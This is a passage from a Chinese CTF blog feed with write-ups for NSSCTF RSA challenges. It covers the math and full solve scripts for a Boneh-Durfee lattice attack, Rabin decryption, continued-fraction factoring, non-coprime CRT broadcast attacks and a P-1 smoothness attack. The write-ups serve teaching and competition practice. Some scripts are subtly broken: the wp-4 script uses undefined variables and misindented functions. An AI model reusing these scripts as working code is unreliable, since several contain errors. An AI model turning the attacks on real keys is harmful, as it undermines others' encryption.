                    BB = remove_unhelpful(BB, monomials, bound, ii - 1)
                    return BB
    # nothing happened
    return BB


&quot;&quot;&quot; 
Returns:
* 0,0   if it fails
* -1,-1 if `strict=true`, and determinant doesn&apos;t bound
* x0,y0 the solutions of `pol`
&quot;&quot;&quot;


def boneh_durfee(pol, modulus, mm, tt, XX, YY):
    &quot;&quot;&quot;
    Boneh and Durfee revisited by Herrmann and May

    finds a solution if:
    * d &amp;lt; N^delta
    * |x| &amp;lt; e^delta
    * |y| &amp;lt; e^0.5
    whenever delta &amp;lt; 1 - sqrt(2)/2 ~ 0.292
    &quot;&quot;&quot;

    # substitution (Herrman and May)
    PR.&amp;lt;u,x,y&amp;gt; = PolynomialRing(ZZ)
    Q = PR.quotient(x * y + 1 - u)  # u = xy + 1
    polZ = Q(pol).lift()

    UU = XX * YY + 1

    # x-shifts
    gg = []
    for kk in range(mm + 1):
        for ii in range(mm - kk + 1):
            xshift = x ^ ii * modulus ^ (mm - kk) * polZ(u, x, y) ^ kk
            gg.append(xshift)
    gg.sort()

    # x-shifts list of monomials
    monomials = []
    for polynomial in gg:
        for monomial in polynomial.monomials():
            if monomial not in monomials:
                monomials.append(monomial)
    monomials.sort()

    # y-shifts (selected by Herrman and May)
    for jj in range(1, tt + 1):
        for kk in range(floor(mm / tt) * jj, mm + 1):
            yshift = y ^ jj * polZ(u, x, y) ^ kk * modulus ^ (mm - kk)
            yshift = Q(yshift).lift()
            gg.append(yshift)  # substitution

    # y-shifts list of monomials
    for jj in range(1, tt + 1):
        for kk in range(floor(mm / tt) * jj, mm + 1):
            monomials.append(u ^ kk * y ^ jj)

    # construct lattice B
    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
        BB[ii, 0] = gg[ii](0, 0, 0)
        for jj in range(1, ii + 1):
            if monomials[jj] in gg[ii].monomials():
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU, XX, YY)

    # Prototype to reduce the lattice
    if helpful_only:
        # automatically remove
        BB = remove_unhelpful(BB, monomials, modulus ^ mm, nn - 1)
        # reset dimension
        nn = BB.dimensions()[0]
        if nn == 0:
            print(&quot;failure&quot;)
            return 0, 0

    # check if vectors are helpful
    if debug:
        helpful_vectors(BB, modulus ^ mm)

    # check if determinant is correctly bounded
    det = BB.det()
    bound = modulus ^ (mm * nn)
    if det &amp;gt;= bound:
        # print(&quot;We do not have det &amp;lt; bound. Solutions might not be found.&quot;)
        # print(&quot;Try with highers m and t.&quot;)
        if debug:
            diff = (log(det) - log(bound)) / log(2)
            # print(&quot;size det(L) - size e^(m*n) = &quot;, floor(diff))
        if strict:
            return -1, -1
    else:
        print(&quot;det(L) &amp;lt; e^(m*n) (good! If a solution exists &amp;lt; N^delta, it will be found)&quot;)

    # display the lattice basis
    if debug:
        matrix_overview(BB, modulus ^ mm)

    # LLL
    if debug:
        print(&quot;optimizing basis of the lattice via LLL, this can take a long time&quot;)

    BB = BB.LLL()

    if debug:
        print(&quot;LLL is done!&quot;)

    # transform vector i &amp;amp; j -&amp;gt; polynomials 1 &amp;amp; 2
    if debug:
        print(&quot;looking for independent vectors in the lattice&quot;)
    found_polynomials = False

    for pol1_idx in range(nn - 1):
        for pol2_idx in range(pol1_idx + 1, nn):
            # for i and j, create the two polynomials
            PR.&amp;lt;w,z&amp;gt; = PolynomialRing(ZZ)
            pol1 = pol2 = 0
            for jj in range(nn):
                pol1 += monomials[jj](w * z + 1, w, z) * BB[pol1_idx, jj] / monomials[jj](UU, XX, YY)
                pol2 += monomials[jj](w * z + 1, w, z) * BB[pol2_idx, jj] / monomials[jj](UU, XX, YY)

            # resultant
            PR.&amp;lt;q&amp;gt; = PolynomialRing(ZZ)
            rr = pol1.resultant(pol2)

            # are these good polynomials?
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                # print(&quot;found them, using vectors&quot;, pol1_idx, &quot;and&quot;, pol2_idx)
                found_polynomials = True
                break
        if found_polynomials:
            break

    if not found_polynomials:
        # print(&quot;no independant vectors could be found. This should very rarely happen...&quot;)
        return 0, 0

    rr = rr(q, q)

    # solutions
    soly = rr.roots()

    if len(soly) == 0:
        # print(&quot;Your prediction (delta) is too small&quot;)
        return 0, 0

    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]

    #
    return solx, soly


delta = .271  # this means that d &amp;lt; N^delta
m = 8  # size of the lattice (bigger the better/slower)
t = int((1 - 2 * delta) * m)  # optimization from Herrmann and May
X = 2 * floor(N ^ delta)  # this _might_ be too much
Y = floor(N ^ (1 / 2))  # correct if p, q are ~ same size
P.&amp;lt;x,y&amp;gt; = PolynomialRing(ZZ)
A = int((N + 1) / 2)
pol = 1 + x * (A + y)

solx, soly = boneh_durfee(pol, e, m, t, X, Y)

d = int(pol(solx, soly) / e)
print(d)
m = power_mod(c, d, N)
print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这里涉及了多元多项式求解小根问题，实际上单变量和多变量Coppersmith处理的方式相同，都是利用格基归约得到新的多项式求解，但是对于特定的问题往往有一些更好的构造格方法。之后我们学习格的原理之后再来对这类问题做归纳介绍。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>NSS_RSA_3</title><link>https://sinqwq.top/posts/nss_rsa_3/</link><guid isPermaLink="true">https://sinqwq.top/posts/nss_rsa_3/</guid><description>NSS_RSA_3</description><pubDate>Wed, 03 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;wp-1&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题非常直白，将flag分成两部分后给了一个约束式，让我们求解flag。
其实本题并不属于RSA范畴，放在本工坊中主要用来当一个热身题&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;约束是一个二元一次方程，显然我们知道二元一次方程在实数域上会有无数个解，但注意我们很少会在实数域上进行运算，如之前所说，我们所有的操作都是在一个整数域或者有限域（可以理解为取模的域）中进行运算。而这里我们便有一个非常常用的&lt;strong&gt;裴蜀定理&lt;/strong&gt;
&lt;strong&gt;裴蜀定理&lt;/strong&gt;：对于整数域中的不定方程$ ax+by=m $，其有解的充要条件为$ \gcd(a,b)\mid m $。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;显然我们可以计算发现题目中约束的两个值其最大公因数为1，所以我们是可以算出未知数的，我们可以利用扩展欧几里得算法进行该约束方程
之前我们都是将 &lt;code&gt;extgcd&lt;/code&gt;作为黑盒来进行使用，现在我们便要学习其原理，而要明白扩展欧几里得我们则需要先了解欧几里得算法，即用来求解最大公因数的辗转相除法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def gcd(a, b):
    return a if b == 0 else gcd(b, a%b)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上是欧几里得算法的一个Python实现，其原理利用了递归的思想，这是编程中常用的一种思想手段&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;设立一个边界值。&lt;/li&gt;
&lt;li&gt;设立递归量，并且不断的归约。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;递归的本质思想还是归约，即把一个问题转化为另一个较简单的问题，如果那个较简单的问题还是问题本身则我们就可以称为递归，在这里边界条件是 &lt;code&gt;gcd(a, 0) = a&lt;/code&gt;，而归约过程则是当不为边界值时，设最大共因数为g，并设$ a&amp;gt;b $此时有
$$
a = k_1b+r_1\
$$&lt;/p&gt;
&lt;p&gt;则可以将问题转化为 &lt;code&gt;gcd(b, a%b)&lt;/code&gt;，即
$$
a = b\
b = r_1
$$&lt;/p&gt;
&lt;p&gt;因为$ g\mid b,g\mid a $，则有$ r_1/g = a/g - k_1b/g $，即说明$ r_1/g $是整数，有$ g\mid r_1 $，到这里我们证明了 &lt;code&gt;b,a%b&lt;/code&gt;的最大公因数还是$ g $，也就说明了计算 &lt;code&gt;gcd(a,b)&lt;/code&gt;和计算 &lt;code&gt;gcd(b,a%b)&lt;/code&gt;等价，所以我们便可以按照此方式不断的进行归约最终直到到达边界值即$ r_1=0 $时，则说明此时的$ b $就是原式的最大公因数。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;现在从来考虑扩展欧几里得，在刚才我们所说的边界值(a=g,b=0)时有
$$
a\cdot 1 + b\cdot 0 = gcd(a,b)
$$&lt;/p&gt;
&lt;p&gt;即此时解为$ x=1,y=0 $，这同样也是扩欧的边界条件，那么我们从边界值往回看代入上上面我们所述的等价关系中可以得到
$$
ax_1+by_1 = \gcd(a,b)\
b\cdot x_2 + (a%b)y_2 = \gcd(b, a%b)
$$&lt;/p&gt;
&lt;p&gt;那么现在我们要做的就是寻找这两个式子中的转移关系，从而找到$ x_1 $和$ x_2 $的联系，$ y_1 $和$ y_2 $的联系，从而和欧几里得一样写出转移式便可以得到完整实现了。
我们知道$ a\bmod b = a - (a/b)b $，代入上述关系中则有
$$
\begin{aligned}
g &amp;amp;= bx_2+(a - (a/b)b)y_2\
&amp;amp;= bx_2 + ay_2 - (a/b)by_2\
&amp;amp;= ay_2 + b(x_2 - (a/b)y_2)
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;显然我们便得到了关系式
$$
x_1 = y_2\
y_1 = x_2 - (a/b)y_2
$$&lt;/p&gt;
&lt;p&gt;代码实现为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def extgcd(a, b):
    if b == 0:
        return a, 1, 0

    g, x, y = extgcd(b, a%b)
    return g, y, x - (a//b)*y
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;本文大费篇幅的讲解扩展欧几里得的作用是希望大家能了解这种编程思维，了解其算法的本质，随着学习越来越深，我们会发现很多问题都是通过找到其关系式归约成较为简单的问题进计算，而计算的核心便是边界条件和转移方程。
后面的过程便很简单了，我们通过extgcd直接求解即可。不过这里还有个值得注意的是你会发现得到的值不是flag，因为$ (x+kb, y+ka) $依然是原方程的解，所以我们得到的只是一组解，后续我们可以通过遍历的手段找到我们想要的那一组即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *

def extgcd(a, b):
    if b == 0:
        return a, 1, 0

    g, x, y = extgcd(b, a%b)
    return g, y, x - (a//b)*y

solve = extgcd(18608629446895353521310408885845687520013234781800558,14258810472138345414555137649316815272478951117940067)
a = abs(solve[1])
b = abs(solve[2])

for _ in range(10):
    b += 18608629446895353521310408885845687520013234781800558
    a += 14258810472138345414555137649316815272478951117940067
    if b&apos;NSSCTF&apos; in long_to_bytes(a):
        print(long_to_bytes(a)+long_to_bytes(b))
        break
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-2&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题是Rabin攻击的进阶题目，e从普通Rabin攻击中的2变成了4，如之奈何？
其实很简单，我们要的是e=2，那么就把$ m^4 $看成$ (m^2)^2 $即可，然后我们需要解两次Rabin一共会得到16组解，当然这里面只有一组解是我们想要的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *

p = 59146104467364373868799971411233588834178779836823785905639649355194168174467
q = 78458230412463183024731868185916348923227701568297699614451375213784918571587
e = 4
c = 1203393285445255679455330581174083350744414151272999693874069337386260499408999133487149585390696161509841251500970131235102423165932460197848215104528310

n = p*q

def rabin(c):
    mp = pow(c, (p + 1) // 4, p)
    mq = pow(c, (q + 1) // 4, q)

    yp = inverse(p,q)
    yq = inverse(q,p)

    r = (yp * p * mq + yq * q * mp) % n
    r_ = n - r
    s = (yp * p * mq - yq * q * mp) % n
    s_ = n - s
    return r,r_,s,s_

c_list = rabin(c)
for c in c_list:
    cc = rabin(c)
    for c in cc:
        flag = long_to_bytes(c)
        if b&apos;NSSCTF&apos; in flag:
            print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;完成本题后考虑完成&lt;a href=&quot;https://www.nssctf.cn/problem/3623&quot;&gt;[NSSRound#11 Basic]ez_signin&lt;/a&gt;，本题的e更大，需要更多次Rabin，但其思想依然一样，一层一层的剥开即可，主要是考察代码编写能力，再两层时我们可以手动两次rabin，但多层时则需要考虑将重复的过程变成循环调用。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-3&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题给了两组公钥和密文，之前我们学习过多组公钥时可以考虑&lt;strong&gt;共享素数&lt;/strong&gt;，但从代码上来看可以发现他们使用的都是不一样的素数，但我们又会发现这些素数之间并不是完全独立的。
p2是p1的下一个素数，或者换种说法说，他们离得非常近，在考虑一下我们曾经所学过的攻击关于非常进的无外乎是&lt;strong&gt;p-q&lt;/strong&gt;过小，我们可以利用费马分解进行操作，但这里两个非常近的素数并没有进行乘积，而是分开和其他数进行乘积。还有一种情况便是&lt;strong&gt;维纳攻击&lt;/strong&gt;，在维纳攻击中我们说是当$ e $和$ n $非常接近时便可以使用，那这里和维纳攻击有什么关系呢？
实际上我们这里将要了解维纳攻击的核心：连分数定理&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;连分数定理&lt;/strong&gt;：当$ a $和$ b $满足
$$
|x-\frac{a}{b}|&amp;lt;\frac{1}{2b^2}
$$&lt;/p&gt;
&lt;p&gt;时，则$ a/b $是$ x $的一个连分数近似。
连分数近似则代表我们可以对$ x $进行连分数展开，其中的某个近似数便是$ a/b $。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;本定理便是我们的理论支撑，那么现在我们有了两个很近的数$ n1 $和$ n2 $，如果我们对这两个数进行连分数展开，我们的预期结果便是可以在展开的过程中得到$ p1 $和$ p2 $。当然我们现在还无法判断他们之间的关系是否符合上式，我们只能先进行展开，随后进行验证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util import number
import gmpy2

n1 = 45965238261145848306223556876775641787109249067253988455950651872774381183888979035386577960806305813634216583223483001245996467366520071511779063266315692543617195166613592991812117446772937889819643718423377609566597230873623011099295202599905646652692946273375405832062164263711151844949794774229886016858313299259387152937467743637367261734624060321171598033647661809876890249035267180368762739600552966699295210431508056693524383116052539072065535970720901196322942269916455391238409489616842687658335666652878840458263998780783865062993401055465701207886230787204008073260653659510197069116237460322442433331870944968133645513020531983926180514313028320422449103156746225574626841023639595418255472716267486241462968101152032898749
e1 = 279586443815379026299414729432860797623
c1 = 11515318475856179010858377918435934663304239594599788732135470038988222237790835017056954077794506499559722814863240838882673078330335616745578747265404229105473136943188301293198548838105990504750972653445744347121859396823995101611868191609259910876207038154174100742978387355304521374228562928260479446249263909934393657537918407756957032700052269827171045167752168509783885071211516601218892308228572735545579606908430615218499620619028799140945676768341492724044499209913045110359935325510223652935426973411960865908064824205626343685369866932545651037748553442488682593143020861196339307665638704485958986411837014559504992818255506454051842453553265179370878637153602580071152915165775491633322055360737581203750897698007951117808
n2 = 25459365600568360055376316722846535809281537088824978187355135247184417413329012865221456308642116409716822227032113740366024809533942721286337697830775221199570509665320400376959076685728357107457862901087218522281771857981155239522807950207375964963527837592797198372303427082343684305143238075402697262610809363109748984974325271762535573995993132076293275456692621516174749076897962348000698039074721998780555541905706268579496243099763776676950336105074846695227221690550755501320117554250942600626927600558489780841103863110357615957088709321079080707735028039675102383525496673233697130053936053431067133520717494376952763684807635780416860233261892013531534059267366382617635000415723745274490604551078385404286689447761642713963
e2 = 249615977162294580923494787210301891647
c2 = 24544357952213952357056140974408354173440635791397720610932999473703241918398814255275362994811954064820912468224131892551724930677715676493892869921426790840199600798807085779112854131346378899855545138289836687048918660685766286852276199524789699567994154833159365800848535248059731927121269157841084905465048764152977389352561685340108834453730139893330210765986258703154334901509553990091592209268471594519326651914685843021165854654380119091009831071244459145750976193183411590207529489774630266528538380011000213950174694472355034075543687572037516433204151217601537869823709241020510051494619335852686100897182065588340025334679570763716458250649152257797833022586793526594784648938165537701256313728194521212887453997160504204832
  def continuedFra(x, y):
      cF = []
      while y:
          cF += [x // y]
          x, y = y, x % y
      return cF


  def Simplify(ctnf):
      numerator = 0
      denominator = 1
      for x in ctnf[::-1]:
          numerator, denominator = denominator, x * denominator + numerator
      return (numerator, denominator)


  def getit(c):
      cf = []
      for i in range(1, len(c)):
          cf.append(Simplify(c[:i]))
      return cf


  def attack(e, n):
      cf = continuedFra(e, n)
      for (p2, p1) in getit(cf):
          if p1 == 0:
              continue
          if n1 % p1 == 0 and p1 != 1:
              return p1, p2
      print(&apos;not find!&apos;)


  q1, q2 = attack(n1, n2)
  p1 = gmpy2.iroot(n1//q1, 2)[0]
  p2 = gmpy2.iroot(n2//q2, 2)[0]
  phi1 = p1*(p1-1)*(q1-1)
  phi2 = p2*(p2-1)*(q2-1)
  d1 = gmpy2.invert(e1, phi1)
  d2 = gmpy2.invert(e2, phi2)
  m1 = number.long_to_bytes(gmpy2.powmod(c1, d1, n1))
  m2 = number.long_to_bytes(gmpy2.powmod(c2, d2, n2))
  print(m1+m2)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;上面是完整的WP，在中间我们可以插入一行&lt;code&gt;assert n1/n2 - q1/q2 &amp;lt; 1/(2*q2*q2)&lt;/code&gt;会发现他也是显然满足的。
连分数展开之后的内容便是常规RSA界面操作，不在赘述。
这里我们可以发现，只要发现题目中有差不多大的数，便可以寻找是否还有另外两个差不多大的数，并且这些数之间都是有联系的，只要能够找到这样的关系我们便可以考虑对较大的两个数进行连分数展开得到近似数，便有可能得到想要的值。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-4&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;上一题理解之后再看这一题就简单很多了
我们把代码中的式子捋一捋
$$
mr^{-1} \equiv a\pmod{p}
$$&lt;/p&gt;
&lt;p&gt;现在我们已知$ a $和$ p $，求解$ m $，咦我们会发现这和之前说的不一样啊，虽然$ a $和$ p $很接近，但是哪里存在另外两个数呢？
我们将上面的式子变变形状，从有限域（取模的整数域）变成实数域
$$
m = ar +kp
$$&lt;/p&gt;
&lt;p&gt;则有
$$
\frac{a}{p} - \frac{m}{rp} = \frac{r}{k}
$$&lt;/p&gt;
&lt;p&gt;因为$ m $相对于$ rp $来说是一个非常小的数，所以我们得到近似关系
$$
\frac{a}{p} \approx \frac{r}{k}
$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;找到了近似关系后，后面的做法便很简单了，展开后得到$ (r,k) $，就可以进一步求解$ m $了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
import gmpy2
a = 79047880584807269054505204752966875903807058486141783766561521134845058071995038638934174701175782152417081883728635655442964823110171015637136681101856684888576194849310180873104729087883030291173114003115983405311162152717385429179852150760696213217464522070759438318396222163013306629318041233934326478247
p = 90596199661954314748094754376367411728681431234103196427120607507149461190520498120433570647077910673128371876546100672985278698226714483847201363857703757534255187784953078548908192496602029047268538065300238964884068500561488409356401505220814317044301436585177722826939067622852763442884505234084274439591

def continuedFra(x, y):
    cF = []
    while y:
        cF += [x // y]
        x, y = y, x % y
    return cF
    def Simplify(ctnf):
      numerator = 0
      denominator = 1
      for x in ctnf[::-1]:
          numerator, denominator = denominator, x * denominator + numerator
      return (numerator, denominator)


  def getit(c):
      cf = []
      for i in range(1, len(c)):
          cf.append(Simplify(c[:i]))
      return cf

  cf = continuedFra(e, n)
  for (r, k) in getit(cf):
      if r == 0:
          continue
      y = abs(a*r - k*p)
      flag = long_to_bytes(y)
      if b&apos;NSS&apos; in flag:
          print(flag)

其实我们也可以发现真实比赛时，看到近似值可以先不用找具体的关系，展开就对了，再假定展开得到的值就是某个需要的值进行进一步计算，一般都是可以得到结果的：）
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;实际上本题可以用格密码转化成SVP进行求解，继续关注课程的同学不久后还会再遇到本题：）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp -5&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题依然还是一个广播攻击的题目
我们知道广播攻击就是给了多组同余方程，我们利用中国剩余定理CRT便可以得到通解，但是在本题直接套用之前的exp你会发现报错了，你会得到提示逆元不存在，这便是本题的考点，不互素的CRT。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;回顾CRT我们有
&lt;img src=&quot;https://www.nssctf.cn//files/2023/5/18/dec28e8021.png&quot; alt=&quot;NSS图片&quot; /&gt;
我们发现这里面是需要求解逆元得到$ t_i $的，当我们遇到不互素即
$$
\gcd(n_i, n_j) \not =1
$$&lt;/p&gt;
&lt;p&gt;时，实际上我们有一种朴素的做法，设$ \gcd(n_i, n_j) = g $
则
$$
c_i&apos; \equiv c_i \equiv m^e \pmod{n_i/g}\
c_j&apos; \equiv c_j \equiv m^e \pmod{n_j/g}
$$&lt;/p&gt;
&lt;p&gt;这样我们便得到了两个新的同余方程，并且他们的模$ (n_i/g, n_j/g) $是互素的，这种做法是没有问题的但多组模数互相包含多个因子时，这种做法便变得非常繁琐，因为只得到上述式子的话实际上是丢失信息的，你还需要得到对于$ p_i | g $的每个同余式
$$
c_i&apos; \equiv c_i \pmod{p_i}
$$&lt;/p&gt;
&lt;p&gt;这样的到的所有式子做CRT才能够得到足够多的有效值。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;因为只得到上述式子的话实际上是丢失信息的，你还需要得到对于$ p_i | g $的每个同余式&lt;/strong&gt;，关于上面这句的含义可以自行用具体值进行测试理解，有很多内容如果将其展开的非常平坦的话会显得非常的枯燥，所以希望大家能够自己动手来理解一些内容，这比看一百遍资料还要有效。对于&lt;strong&gt;足够多&lt;/strong&gt;实际上就是能够得到原始值就是足够多，得不到便是不够多，这也是本题为什么给了8组而不是7组的原因，因为不互素的因子会产生一些无效信息，比如补充其他额外信息才能够得到有效的信息。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;那么我们介绍了朴素的方案之后我们希望寻找一种和CRT一样的通解手段而不是预处理，这里我们先考虑两个方程的情况
$$
x \equiv c_1 \pmod{n_1}\
x \equiv c_2 \pmod{n_2}
$$&lt;/p&gt;
&lt;p&gt;其中$ \gcd(n_1, n_2) = g\not = 1 $，则有
$$
x = k_1n_1 + c_1\
x = k_2n_2 + c_2
$$&lt;/p&gt;
&lt;p&gt;即$ k_1n_1 + c_1 = k_2n_2 + c_2 $，移项得到
$$
n_1k_1 -k_2n_2= (c_2 - c_1)
$$&lt;/p&gt;
&lt;p&gt;我们现在要应该对这个式子非常眼熟，此等式成立则说明$ \gcd(n_1, n_2) | (c_2 - c_1) $(翡镯定理)，则有
$$
\frac{n_1}{g}k_1 \equiv \frac{c_2 - c_1}{g} \pmod{\frac{n_2}{g}}
$$&lt;/p&gt;
&lt;p&gt;即
$$
k_1 \equiv \frac{c_2 - c_1}{g}(\frac{n_1}{g})^{-1} \pmod{\frac{n_2}{g}}
$$&lt;/p&gt;
&lt;p&gt;有
$$
k_1 = \frac{c_2 - c_1}{g}(\frac{n_1}{g})^{-1}+k_3\frac{n_2}{g}
$$&lt;/p&gt;
&lt;p&gt;代入最初和$ x $的式子得
$$
x = \left(\frac{c_2 - c_1}{g}(\frac{n_1}{g})^{-1}+k_3\frac{n_2}{g}\right)n_1 + a_1
$$&lt;/p&gt;
&lt;p&gt;整理得
$$
x = \frac{n_1n_2}{g}k_3 + (\frac{c_2-c_1}{g}(\frac{n_1}{g})^{-1})n_1+c_1
$$&lt;/p&gt;
&lt;p&gt;即
$$
x \equiv (\frac{c_2-c_1}{g}(\frac{n_1}{g})^{-1})n_1+c_1 \pmod{\frac{n_1n_2}{g}}
$$&lt;/p&gt;
&lt;p&gt;这样我们便合并了两个模不互素的同余式得到了一个方程。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;部分同学可能会看的迷迷糊糊，我这里总结两个可能会看不懂的点&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;绕来绕去是在干嘛？为什么不直接用$ k_1 $，$ k_2 $&lt;/p&gt;
&lt;p&gt;我们知道$ k_1 $,$ k_2 $包括$ k_3 $都是存在的，但是我们求不出它们来（能求出来就直接得到x了），所以我们必须通过已知值来进行替换。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;$ \frac{c_2-c_1}{g}(\frac{n_1}{g})^{-1} $这里为什么不直接写$ (c_2-c_1)n_1 $，$ g $不是抵消了吗？&lt;/p&gt;
&lt;p&gt;这个问题大家可能会经常犯错，在实数运算中我们确实可以这样做，但是这里要注意如果整个运算过程都是在&lt;strong&gt;同余&lt;/strong&gt;的情况下我们确实可以进行抵消，但是实际上我们进行逆元的操作时的模是$ \frac{n_2}{g} $，而最后的模是$ \frac{n_1n_2}{g} $，所以实际上这里是$ \frac{c_2-c_1}{g}((\frac{n_1}{g})^{-1}\bmod{\frac{n_2}{g}}) $，是不能够直接进行抵消的。在其他地方涉及逆元运算时也一定要小心模数是否改变。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;有了这层关系之后我们便可以将上式和$ n_3 $操作进行转化，最终得到一个包含所有模数的通式，余数便是我们所需的原始值。
实际上上述过程也就是CRT的操作过程，只是我们在运算过程中进行了除$ g $的操作，使得计算过程中的逆元是存在的。
其实CRT的本质就是利用同余式
$$
x = a_1 \pmod{n_1}\
x = a_2 \pmod{n_2}
$$&lt;/p&gt;
&lt;p&gt;而这里我们便可以通过扩展欧几里得进行求解，因为上式本质便是
$$
n_1k_1 -k_2n_2= (c_2 - c_1)
$$&lt;/p&gt;
&lt;p&gt;最后得到$ k_1,k_2 $从而得到一个解$ x_0 $，只是因为取模导致我们得到的是
$$
x \equiv x_0 \pmod{n_1n_2}
$$&lt;/p&gt;
&lt;p&gt;最终我们凑齐足够多的$ n_i $得到
$$
x \equiv x_0 \pmod{n_1\dots n_m}
$$&lt;/p&gt;
&lt;p&gt;如果$ x &amp;lt; \prod{n_i} $，则 $ x_0 $便是原始值$ x $。这便是CRT的本质运算。现在你应该知道为什么我们在P1中花了很大的篇幅来介绍扩欧和归约的思想，因为它们应用的非常广泛，很多定理及推广中都有它们的身影或思想。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *
nl = [48900330639594979739701067783234903348599405413588466525574910520196852415104874636276388006189258357683981763, 52184798260918956005878710130354843122927544013692595240956998112200987084814453592388074200951779840156511, 57591305346419909943538345276263585821186563609432856462492112562586368230163591993342956384688555395772999, 1391052858660682537388264601016075339528373211889618359237336378385137832855656756800539626220549334300176727, 8401669052993451281764489325068020625937224410830694438332016050030698435746929661939302694116817188225591, 66809775375777747860816961274643428927028556487820183599747024350362932190079439298182707730302976119988715497, 41209230281867957743385705727577318625405890894626062454495908709761427062490881938652489884059847194603237277, 31140089821370202352241944402736292072447365626312703496944186462246895695650729682254970622208848300946861]
cl = [26617913696414745819584063604277199673357890677059949687794606743781436349829925794253672010780125661705587071, 6332739614121961923948917957498597962902897015582697635859365080803944882904908423983706426654363433337197, 46154051334276357655176765655327305918368830821288083739892570534253190653909520953027859629573215723954424, 2800905135165447908315158053695706832127646195243072751493365013371469263897970241141686022109978485359114, 3597083928897756955519089479028751799504001377334447013725903377254761160933418420625119547713455139382114, 17032086144873551648611964054579542303630306316746409528107026138674853298939194425805809444921339677455174485, 36111201824253386572496248461433786832561483450731317363761227351689971628309683994429845284904292821369745345, 28548175317543234723297895187238113463350377151401226415566179373530461612253257137535830491771909906093171]

def excrt(m, r):
    lcm = m[0]
    R = r[0]
    for i in range(1, len(m)):
        d, x, y = gcdext(lcm, m[i])
        c = R - r[i]
        if c % d:
            return -1
        x = x * c // d % (m[i] // d)
        R -= lcm * x
        lcm = lcm * m[i] // d
        R %= lcm
    return (R + lcm) % lcm

m = excrt(nl, cl)
print(m.bit_length()//7)
print(long_to_bytes(iroot(m, 7)[0]))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-6&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题属于P-1光滑攻击得进阶题型之一，这里我们很容易发现P是从primes里面随机选取一些素数相乘后得到的，对于传统的光滑攻击我们的做法是不断的执行
$$
\gcd(a^{k!}-1, n)
$$&lt;/p&gt;
&lt;p&gt;直到$ k! $覆盖了p-1下的所有素因子为止，但这里我们发现primes里面的素数都是64位的，从1开始遍历很显然需要很长很长的时间才能覆盖，所以我们直接套用之前的脚本是不能得到答案的。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;刚才我们说了在P-1光滑攻击中我们要做的就是得到一个可以覆盖所有素因子的数，显然在这里我们已经知道了P-1是由这些素数构成的，所以我们可以直接从primes中选取每个$ p_i $进行计算即可，即
$$
\gcd(a^{\prod p_i} - 1, n)
$$&lt;/p&gt;
&lt;p&gt;明白了我们要做什么便可以轻松写出exp了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *

